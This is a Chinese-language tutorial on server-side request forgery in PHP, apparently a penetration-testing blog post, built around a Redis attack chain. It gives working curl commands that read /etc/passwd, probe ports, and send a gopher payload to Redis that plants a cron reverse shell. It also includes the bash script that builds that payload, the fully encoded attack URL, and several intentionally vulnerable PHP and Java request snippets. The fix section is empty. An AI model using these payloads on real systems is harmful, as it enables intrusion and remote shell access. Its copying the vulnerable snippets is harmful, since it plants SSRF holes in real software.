SSRF in PHP

1. 漏洞简介

SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

2. 漏洞利用

自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。

2.1 本地利用

拿PHP常出现问题的cURL举例。

可以看到cURL支持大量的协议,别入file,dict,gopher,http

➜  pentest curl -V
curl 7.43.0 (x86_64-apple-darwin15.0) libcurl/7.43.0 SecureTransport zlib/1.2.5
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz UnixSockets

本地利用姿势:

# 利用file协议查看文件
curl -v 'file:///etc/passwd'

# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

2.2 远程利用

漏洞代码ssrf.php(未做任何SSRF防御)

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url); 

远程利用方式:

# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码ssrf2.php

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
    // 限制为HTTPS、HTTP协议
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时,再使用dict协议已经不成功。

http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info

302跳转没测试成功。下次再测试下……

3. 如何转换成gopher协议

我刚一开始看到这个协议,有点一脸懵逼,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。

3.1 redis反弹shell

先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个\n是因为echo重定向最后会自带一个换行符。

执行脚本命令:

bash shell.sh 127.0.0.1 6379

执行完脚本后:

127.0.0.1:6379> keys *
1) "name"
2) "1"
127.0.0.1:6379> get name
"joychou"
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"

想抓tcp数据包,我们可以使用socat进行端口转发。
转发命令如下:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

意思是将本地的4444端口转发到本地的6379端口。
即,有人访问该服务器的4444端口,访问的其实是该服务器的6379 redis服务。

所以,我们执行以下命令就可以了:

bash shell.sh 127.0.0.1 4444

返回如下:

root@pentest:~/joychou/redis# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2017/03/28 17:18:50.701362  length=83 from=0 to=82
*3\r
$3\r
set\r
$1\r
1\r
$56\r


*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1


\r
< 2017/03/28 17:18:50.702358  length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.706954  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/03/28 17:18:50.707996  length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.713159  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/03/28 17:18:50.713982  length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.718505  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/03/28 17:18:50.727510  length=5 from=0 to=4
+OK\r
> 2017/03/28 17:18:50.730592  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/03/28 17:18:50.730839  length=5 from=0 to=4
+OK\r

gopher转换规则如下:

替换后的结果为:

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

gopher协议使用方法:gopher://ip:port/_payload

接着将下面payload进行rawurlencode,可以使用php的该函数。

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

最后的URL攻击payload为:

curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

4. 漏洞代码

4.1 php


// 漏洞代码1
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  



// 漏洞代码2
$url = $_GET['url'];;
echo file_get_contents($url);



// 漏洞代码3
function GetFile($host,$port,$link) 
{ 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) 
    { 
        echo "$errstr (error number $errno) \n"; 
    } 
    else 
    { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) 
        { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}


4.2 java

org.apache.http.client.methods.HttpGet

    public static void ssrfhttpget()
    {

        String url = "http://127.0.0.1:8000";

        CloseableHttpClient client = HttpClients.createDefault();
        HttpGet httpGet = new HttpGet(url);
        HttpResponse httpResponse;
        try {
            httpResponse = client.execute(httpGet);

            System.out.println("\nSending 'GET' request to URL : " + url);
            System.out.println("Response Code : " +
                    httpResponse.getStatusLine().getStatusCode());

            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));

            StringBuffer result = new StringBuffer();
            String line = "";
            while ((line = rd.readLine()) != null) {
                result.append(line);
            }

            System.out.println(result.toString());
        }catch (Exception e) {
            e.printStackTrace();
        }

    }

HttpURLConnection (java.net.HttpURLConnection)

    public static void ssrfurlconnection()
    {
        try {
            //String url = "dict://127.0.0.1:8080";
            String url = "file:///etc/passwd";

            URL obj = new URL(url);
            HttpURLConnection conn = (HttpURLConnection) obj.openConnection();
            conn.setReadTimeout(5000);
            conn.addRequestProperty("Accept-Language", "en-US,en;q=0.8");
            conn.addRequestProperty("User-Agent", "Mozilla");
            conn.addRequestProperty("Referer", "http://baidu.com");

            System.out.println("Request URL ... " + url);

            int status = conn.getResponseCode();
            System.out.println("Response Code ... " + status);

            if (status == HttpURLConnection.HTTP_OK) {
                BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String inputLine;
                StringBuffer html = new StringBuffer();

                while ((inputLine = in.readLine()) != null) {
                    html.append(inputLine);
                }
                in.close();

                System.out.println("URL Content: \n" + html.toString());
                System.out.println("Done");

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

测试的过程中,java都不支持除了http、https协议的其他协议。

5. 漏洞修复

6. Reference